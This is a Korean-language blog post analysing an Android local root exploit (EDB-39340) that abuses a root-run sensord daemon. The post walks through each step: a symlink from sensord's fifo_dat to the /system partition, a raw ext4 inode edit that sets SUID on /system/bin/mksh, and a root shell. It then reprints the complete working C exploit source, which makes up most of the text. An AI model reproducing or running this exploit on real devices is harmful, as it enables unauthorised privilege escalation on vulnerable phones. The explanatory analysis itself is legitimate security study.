[EXPLOIT] Android sensord Local Root Exploit 분석(Android Exploit Anlaysis)

최근 Android Local Root Exploit이 EDB에 올라와서 좀 관찰해봤습니다.

EDB-ID: 39340CVE: N/AOSVDB-ID: N/A EDB Verified: Author: s0m3b0dyPublished: 2016-01-27 Download Exploit: Source RawDownload Vulnerable App: N/A

이 친구는 sensord를 이용하여 Android system에서 Root 를 탈취할 수 있는 취약점이고 이를 활용하여 sensord가 설치sne된 Device 에서 루팅을 수행할 수 있겠지요.

취약점 원리

Android 내 sensors demon(리눅스에서 온도와, 쿨링펜 속도를 담당하지요..)을 사용할 때 일부 ROM에서 sensorsd가 root 의 권한으로 실행되어 공격자가 sensors 를 이용하여 root 를 획득할 수 있는 취약점입니다.

관련해서 원리에 대한 글이나 문서가 없어… 코드를 보고 최대한 나름대로의 해석을 해 보았습니다. 혹시나 잘못된 부분이 있다면 댓글로 주시면 바로 수정하겠습니다.

해당 Exploit 을 제작한 해커는 참 편리하게도, 각각 Step에 따라 함수를 구별해주었습니다. (귀찮음을 약간 덜었네요)

크게 3가지의 Step으로 Exploit 과정이 진행되며, 과정 중 Reboot도 포함되어 있습니다.

Exploit Code Analysis - main

main은 정말 간단합니다. 각각 step을 의미하는 인자값에 따라 아래 first_step부터 third_step 함수를 호출해줍니다.

main -> first_step() -> second_step() -> third_step()


int main(int argc, char **argv)
{

    if(argc != 2)
    {
        print_usage( argv );
        return 0;
    }

    if( strstr( argv[1], "1" ) != NULL) {
        if( verify() ) {
            disable_autorotate();
            first_step();                       //create link
        }
        else
        {
            printf("[-] It looks likey is not vulnerable!\n");
        }
    }
    else if( strstr( argv[1], "2") != NULL) {
        second_step();                          //edit ext4(/system) partition(set bit suid)
    }
    else if( strstr( argv[1], "3") != NULL) {
        third_step();                           //get root shell
    }
    else if( strstr( argv[1], "verify") != NULL){
        if( verify() )
            printf("[+] Should be vulnerable!\n");
        else
            printf("[-] Not vulnerable!\n");
    }
    else{
            print_usage( argv );
    }
    return 0;
}

Exploit Code Analysis - first_step

main 만큼이나 간단한 first_step입니다.


// FIFO_DAT 정의구간
#define FIFO_DAT "/data/misc/sensor/fifo_dat"

// ...snip... first_step함수
void first_step()
{
    if( access(FIFO_DAT, F_OK) != -1 )
    {
        unlink(FIFO_DAT);
    }

    char path[1024];
    get_system_dev(path, sizeof(path));
    symlink(path, FIFO_DAT);

    printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}

get_system_dev 함수를 통해 얻어진 경로를 이용하여 FIFO_DAT과 symlink를 걸어줍니다. 해당 함수는 아래와 같이 /proc/mounts를 열고 값을 읽어 strstr함수를 /system의 위치를 찾아 반환하여줍니다.


void get_system_dev( char *ptr, int size )
{
    int fd = open("/proc/mounts", O_RDONLY);
    int pos = 0, posend = 0, tmppos = 0;
    char buff[4096];
    char link[1024];
    memset(buff, 0, sizeof(buff));
    memset(link, 0, sizeof(link));
    memset(ptr, 0, size);
    if(fd != -1)
    {
        read(fd, &buff, sizeof(buff));
        int sres = (int)strstr(buff, " /system ");
        if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
        {
            tmppos = pos;
            int i=0;
            while( (buff[pos] != '\n') && (pos > 0) ) pos--;
            pos++;
            strncpy(link, &buff[pos], tmppos - pos);
            readlink(link, ptr, size);

        }
        else
        {
            printf("[-] Can't find system partition!\n");
            close(fd);
            exit(0);
        }
        close(fd);
    }
    else
    {
        printf("[-] Can't read /proc/mounts file!\n");
        exit(0);
    }

}

요약하자면 시스템 파티션을 찾은 후 sensor의 FIFO_DAT과 symlink 하여줍니다. 그 후 사용자에게 Reboot을 요청합니다.

Exploit Code Analysis - second_step

first_step 후 reboot 한다음 exploit 코드를 통해 second_step을 실행합니다. 흐름을 보면 이 부분에서 본격적인 Exploit 과정이 일어나게 됩니다.

second_step은 실행 시 FIFO_DAT을 unlink 한 후 stat 함수를 통해 파일의 정보를 읽어옵니다. stat으로 읽어오는건 SH로 정의된 경로이며 해당 부분은 아래와 같습니다.


#define SH "/system/bin/mksh"

//..snip..
char path[1024];
    struct stat s;

    unlink(FIFO_DAT);

    stat(SH, &s);
    printf("[+] Looking for inode no.: %llu\n", s.st_ino);

    get_system_dev(path, sizeof(path));

/mksh의 정보(inode) 확인 후 get_system_dev로 얻어진 경로를 열어 작업을 시작합니다.


 int inodeno = s.st_ino;
        struct ext4_super_block super;
        struct ext4_group_desc group_descr;
        struct ext4_inode inode;

        unsigned long int offset=0;
        lseek(fd, 0x400, SEEK_SET);

        read(fd, &super, sizeof(super));

s.st_ino(inode) 값을 저장해두고 ext4 형태로 구조체 선언 후 lseek을 이용하여 해당 경로(fd)에 0x400 만큼 파일 시작부분에서 건너띕니다. 그리고 파일 데이터를 읽습니다.


lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));

이후 쭉쭉 내려가다 보면 inode.i.size_lo 와 s.st_size를 비교한 후 같다면 write 함수로 fd에 데이터를 쓰게됩니다. 이 부분에서 공격자가 SUID를 fd에 세팅하게 되어 root 를 획득하는 과정으로 보입니다.


        if(inode.i_size_lo == s.st_size) {
            __le16 mode = 0;
            printf("[+] Found inode!\n");
            lseek(fd, total_offset, SEEK_SET);

            inode.i_mode = inode.i_mode | 0x800;

            int modesize = sizeof(inode.i_mode);
            int wr = write(fd, &inode.i_mode, modesize);

            if( wr == modesize )
            {
                printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
            }
            else
            {
                printf("[-] Can't set bit SUID on %s\n", SH);
            }
        }

해당 위치에서 inode.i_mode 값을 write 하여 SUID를 세팅합니다. 이로써 second_step을 통해 SUID를 세팅하고 root 획득이 되었습니다.

Exploit Code Analysis - third_step

재부팅 후 third_step 은 정말 심플하게, root 됬다는 것을 증명해주는 함수입니다. 사실 1,2번만 공격에 사용되는 부분이겠네요.

setuid(0), setgid(0) 으로 권한을 상승합니다.


void third_step()
{
    char path[1024];
    //chmod(SH, 4755);
    setuid(0);
    setgid(0);
    if(getuid() == 0)
    {

        get_system_dev(path, sizeof(path));
        chmod(path, 0600);
        printf("[+] Rooted!\n");
        system(SH);
    }
    else
    {
        printf("[-] No root here!\n");
        exit(0);
    }
}

Full Code


// https://www.exploit-db.com/exploits/39340/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <dirent.h>
#include <ctype.h>

#define FIFO_DAT "/data/misc/sensor/fifo_dat"
#define SH "/system/bin/mksh"

struct ext4_super_block {
 /*00*/  __le32  s_inodes_count;
         __le32  s_blocks_count_lo;
         __le32  s_r_blocks_count_lo;
         __le32  s_free_blocks_count_lo;
 /*10*/  __le32  s_free_inodes_count;
         __le32  s_first_data_block;
         __le32  s_log_block_size;
         __le32  s_log_cluster_size;
 /*20*/  __le32  s_blocks_per_group;
         __le32  s_clusters_per_group;
         __le32  s_inodes_per_group;
         __le32  s_mtime;
 /*30*/  __le32  s_wtime;
         __le16  s_mnt_count;
         __le16  s_max_mnt_count;
         __le16  s_magic;
         __le16  s_state;
         __le16  s_errors;
         __le16  s_minor_rev_level;
 /*40*/  __le32  s_lastcheck;
         __le32  s_checkinterval;
         __le32  s_creator_os;
         __le32  s_rev_level;
 /*50*/  __le16  s_def_resuid;
         __le16  s_def_resgid;
         __le32  s_first_ino;
         __le16  s_inode_size;
         __le16  s_block_group_nr;
         __le32  s_feature_compat;
 /*60*/  __le32  s_feature_incompat;
         __le32  s_feature_ro_compat;
 /*68*/  __u8    s_uuid[16];
 /*78*/  char    s_volume_name[16];
 /*88*/  char    s_last_mounted[64];
 /*C8*/  __le32  s_algorithm_usage_bitmap;
         __u8    s_prealloc_blocks;
         __u8    s_prealloc_dir_blocks;
         __le16  s_reserved_gdt_blocks;
 /*D0*/  __u8    s_journal_uuid[16];
 /*E0*/  __le32  s_journal_inum;
         __le32  s_journal_dev;
         __le32  s_last_orphan;
         __le32  s_hash_seed[4];
         __u8    s_def_hash_version;
         __u8    s_jnl_backup_type;
         __le16  s_desc_size;
 /*100*/ __le32  s_default_mount_opts;
         __le32  s_first_meta_bg;
         __le32  s_mkfs_time;
         __le32  s_jnl_blocks[17];
 /*150*/ __le32  s_blocks_count_hi;
         __le32  s_r_blocks_count_hi;
         __le32  s_free_blocks_count_hi;
         __le16  s_min_extra_isize;
         __le16  s_want_extra_isize;
         __le32  s_flags;
         __le16  s_raid_stride;
         __le16  s_mmp_update_interval;
         __le64  s_mmp_block;
         __le32  s_raid_stripe_width;
         __u8    s_log_groups_per_flex;
         __u8    s_checksum_type;
         __u8    s_encryption_level;
         __u8    s_reserved_pad;
         __le64  s_kbytes_written;
         __le32  s_snapshot_inum;
         __le32  s_snapshot_id;
         __le64  s_snapshot_r_blocks_count;
         __le32  s_snapshot_list;
 #define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count)
         __le32  s_error_count;
         __le32  s_first_error_time;
         __le32  s_first_error_ino;
         __le64  s_first_error_block;
         __u8    s_first_error_func[32];
         __le32  s_first_error_line;
         __le32  s_last_error_time;
         __le32  s_last_error_ino;
         __le32  s_last_error_line;
         __le64  s_last_error_block;
         __u8    s_last_error_func[32];
 #define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts)
         __u8    s_mount_opts[64];
         __le32  s_usr_quota_inum;
         __le32  s_grp_quota_inum;
         __le32  s_overhead_clusters;
         __le32  s_backup_bgs[2];
         __u8    s_encrypt_algos[4];
         __u8    s_encrypt_pw_salt[16];
         __le32  s_lpf_ino;
         __le32  s_prj_quota_inum;
         __le32  s_checksum_seed;
         __le32  s_reserved[98];
        __le32  s_checksum;
};

struct ext4_group_desc
{
         __le32  bg_block_bitmap_lo;
         __le32  bg_inode_bitmap_lo;
         __le32  bg_inode_table_lo;
         __le16  bg_free_blocks_count_lo;
         __le16  bg_free_inodes_count_lo;
         __le16  bg_used_dirs_count_lo;
         __le16  bg_flags;
         __le32  bg_exclude_bitmap_lo;
         __le16  bg_block_bitmap_csum_lo;
         __le16  bg_inode_bitmap_csum_lo;
         __le16  bg_itable_unused_lo;
         __le16  bg_checksum;
         __le32  bg_block_bitmap_hi;
         __le32  bg_inode_bitmap_hi;
         __le32  bg_inode_table_hi;
         __le16  bg_free_blocks_count_hi;
         __le16  bg_free_inodes_count_hi;
         __le16  bg_used_dirs_count_hi;
         __le16  bg_itable_unused_hi;
         __le32  bg_exclude_bitmap_hi;
         __le16  bg_block_bitmap_csum_hi;
         __le16  bg_inode_bitmap_csum_hi;
         __u32   bg_reserved;
 };

struct ext4_inode {
         __le16  i_mode;
         __le16  i_uid;
         __le32  i_size_lo;
         __le32  i_atime;
         __le32  i_ctime;
         __le32  i_mtime;
         __le32  i_dtime;
         __le16  i_gid;
         __le16  i_links_count;
         __le32  i_blocks_lo;
         __le32  i_flags;
         union {
                 struct {
                         __le32  l_i_version;
                 } linux1;
                 struct {
                         __u32  h_i_translator;
                 } hurd1;
                 struct {
                         __u32  m_i_reserved1;
                 } masix1;
         } osd1;
         __le32  i_block[15];
         __le32  i_generation;
         __le32  i_file_acl_lo;
         __le32  i_size_high;
         __le32  i_obso_faddr;
         union {
                 struct {
                         __le16  l_i_blocks_high;
                         __le16  l_i_file_acl_high;
                         __le16  l_i_uid_high;
                         __le16  l_i_gid_high;
                         __le16  l_i_checksum_lo;
                         __le16  l_i_reserved;
                 } linux2;
                 struct {
                         __le16  h_i_reserved1;
                         __u16   h_i_mode_high;
                         __u16   h_i_uid_high;
                         __u16   h_i_gid_high;
                         __u32   h_i_author;
                 } hurd2;
                 struct {
                         __le16  h_i_reserved1;
                         __le16  m_i_file_acl_high;
                         __u32   m_i_reserved2[2];
                 } masix2;
         } osd2;
         __le16  i_extra_isize;
         __le16  i_checksum_hi;
         __le32  i_ctime_extra;
         __le32  i_mtime_extra;
         __le32  i_atime_extra;
         __le32  i_crtime;
         __le32  i_crtime_extra;
         __le32  i_version_hi;
 };

void print_usage( char ** argv)
{
    printf("Have 3 steps. You need to reboot the device after step 1 and step 2.\n");
    printf("Usage: %s 1\n", argv[0]);
    printf("       %s 2\n", argv[0]);
    printf("       %s 3\n", argv[0]);
    printf("       %s verify\n", argv[0]);
}

void get_system_dev( char *ptr, int size )
{
    int fd = open("/proc/mounts", O_RDONLY);
    int pos = 0, posend = 0, tmppos = 0;
    char buff[4096];
    char link[1024];
    memset(buff, 0, sizeof(buff));
    memset(link, 0, sizeof(link));
    memset(ptr, 0, size);
    if(fd != -1)
    {
        read(fd, &buff, sizeof(buff));
        int sres = (int)strstr(buff, " /system ");
        if( (sres != -1) && ((pos = (sres - (int)buff)) > 0) )
        {
            tmppos = pos;
            int i=0;
            while( (buff[pos] != '\n') && (pos > 0) ) pos--;
            pos++;
            strncpy(link, &buff[pos], tmppos - pos);
            readlink(link, ptr, size);

        }
        else
        {
            printf("[-] Can't find system partition!\n");
            close(fd);
            exit(0);
        }
        close(fd);
    }
    else
    {
        printf("[-] Can't read /proc/mounts file!\n");
        exit(0);
    }

}

void first_step()
{
    if( access(FIFO_DAT, F_OK) != -1 )
    {
        unlink(FIFO_DAT);
    }

    char path[1024];
    get_system_dev(path, sizeof(path));
    symlink(path, FIFO_DAT);

    printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}

void second_step()
{
    char path[1024];
    struct stat s;

    unlink(FIFO_DAT);

    stat(SH, &s);
    printf("[+] Looking for inode no.: %llu\n", s.st_ino);

    get_system_dev(path, sizeof(path));

    int fd = open(path, O_RDWR);
    if( fd != -1 )
    {
        int inodeno = s.st_ino;
        struct ext4_super_block super;
        struct ext4_group_desc group_descr;
        struct ext4_inode inode;

        unsigned long int offset=0;
        lseek(fd, 0x400, SEEK_SET);

        read(fd, &super, sizeof(super));

        int block_size = 1024 << super.s_log_block_size;
        int bg = (inodeno-1) /super.s_inodes_per_group;

        lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET);
        read(fd, &group_descr, sizeof(group_descr));

        unsigned int index = (inodeno-1) % super.s_inodes_per_group;
        unsigned int off = index *  super.s_inode_size;
        unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off;

        lseek(fd, total_offset, SEEK_SET);
        read(fd, &inode, sizeof(struct ext4_inode));

        if(inode.i_size_lo == s.st_size) {
            __le16 mode = 0;
            printf("[+] Found inode!\n");
            lseek(fd, total_offset, SEEK_SET);

            inode.i_mode = inode.i_mode | 0x800;

            int modesize = sizeof(inode.i_mode);
            int wr = write(fd, &inode.i_mode, modesize);

            if( wr == modesize )
            {
                printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
            }
            else
            {
                printf("[-] Can't set bit SUID on %s\n", SH);
            }
        }
        else
        {
            printf("[-] Can't find inode!\n");
        }
        close(fd);
    }
    else
        printf("[-] Can't open %s!\n", path);

}

void third_step()
{
    char path[1024];
    //chmod(SH, 4755);
    setuid(0);
    setgid(0);
    if(getuid() == 0)
    {

        get_system_dev(path, sizeof(path));
        chmod(path, 0600);
        printf("[+] Rooted!\n");
        system(SH);
    }
    else
    {
        printf("[-] No root here!\n");
        exit(0);
    }
}

bool isSensord(char *spath)
{
    char buff[50];
    bool res = false;
    int fd = open(spath, O_RDONLY);
    if(fd != -1)
    {
        read(fd, buff, 50);
        if(strstr(buff, "/system/bin/sensord") != NULL)
        {
            res = true;
        }
        close(fd);
    }
    return res;
}

bool verify()
{
    DIR* dir;
    struct dirent *entry;
    char spath[512];
    bool res = false;
    struct stat s;

    dir = opendir("/proc");
    if(dir) {
        while ((entry = readdir(dir)) != NULL) {
            if (entry->d_type == DT_DIR) {
                snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name);

                if (isSensord(spath)) {
                    stat(spath, &s);
                    if (s.st_uid == 0)
                        res = true;

                    break;
                }
            }
        }
        closedir(dir);
    }
    return res;
}

void disable_autorotate()
{
    printf("[+] Disabling auto-rotate...\n");
    system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0");
}

int main(int argc, char **argv)
{

    if(argc != 2)
    {
        print_usage( argv );
        return 0;
    }

    if( strstr( argv[1], "1" ) != NULL) {
        if( verify() ) {
            disable_autorotate();
            first_step();                       //create link
        }
        else
        {
            printf("[-] It looks likey is not vulnerable!\n");
        }
    }
    else if( strstr( argv[1], "2") != NULL) {
        second_step();                          //edit ext4(/system) partition(set bit suid)
    }
    else if( strstr( argv[1], "3") != NULL) {
        third_step();                           //get root shell
    }
    else if( strstr( argv[1], "verify") != NULL){
        if( verify() )
            printf("[+] Should be vulnerable!\n");
        else
            printf("[-] Not vulnerable!\n");
    }
    else{
            print_usage( argv );
    }

    return 0;
}

Reference

https://www.exploit-db.com/exploits/39340/